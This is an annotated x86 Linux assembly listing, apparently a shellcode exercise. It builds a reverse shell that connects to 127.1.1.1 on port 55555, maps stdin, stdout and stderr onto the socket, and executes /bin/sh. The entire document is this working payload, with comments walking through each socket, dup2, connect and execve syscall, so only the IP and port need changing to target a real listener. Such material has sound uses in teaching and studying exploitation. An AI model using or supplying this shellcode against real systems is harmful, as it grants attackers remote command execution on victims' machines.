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global _start
section .text
_start:
; host
push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order
pop esi
; port
push WORD 0x03d9 ; Port Number 55555 in hex reverse order
pop edi
; syscalls (/usr/include/asm/unistd_32.h)
; socketcall numbers (/usr/include/linux/net.h)
; Creating the socket file descriptor
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
push 102
pop eax ; syscall 102 - socketcall
cdq
push 1
pop ebx ; socketcall type (sys_socket 1)
push edx ; IPPROTO_IP = 0 (int)
push ebx ; SOCK_STREAM = 1 (int)
push 2 ; AF_INET = 2 (int)
finalint:
mov ecx, esp ; ptr to argument array
int 0x80 ; kernel interruption
xchg ebx, eax ; set ebx with the sockfd
; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
; int dup2(int oldfd, int newfd);
; dup2 (clientfd, ...)
pop ecx
dup_loop:
mov al, 63 ; syscall 63 - dup2
int 0x80
dec ecx
jns dup_loop
; Connecting the duplicated file descriptor to the host
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; connect(sockfd, [AF_INET, 55555, 127.1.1.1], 16)
mov al, 102 ; syscall 102 - socketcall
; socketcall type (sys_connect) 3 - ebx already has it
; host address structure
push esi ; IP number
push di ; port in byte reverse order = 55555 (uint16_t)
push WORD 2 ; AF_INET = 2 (unsigned short int)
mov ecx, esp ; struct pointer
; connect arguments
push 16 ; sockaddr struct size = sizeof(struct sockaddr) = 16 (socklen_t)
push ecx ; sockaddr_in struct pointer (struct sockaddr *)
push ebx ; socket fd (int)
mov ecx, esp
int 0x80
; Finally, using execve to substitute the actual process with /bin/sh
; int execve(const char *filename, char *const argv[], char *const envp[]);
; exevcve("/bin/sh", NULL, NULL)
mov al, 11 ; execve syscall
; execve string argument
push edx ; null-byte
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ptr to ["bin//sh", NULL] string
push edx ; null ptr to argv
push ebx ; null ptr to envp
jmp finalint ; and jump to bingo |
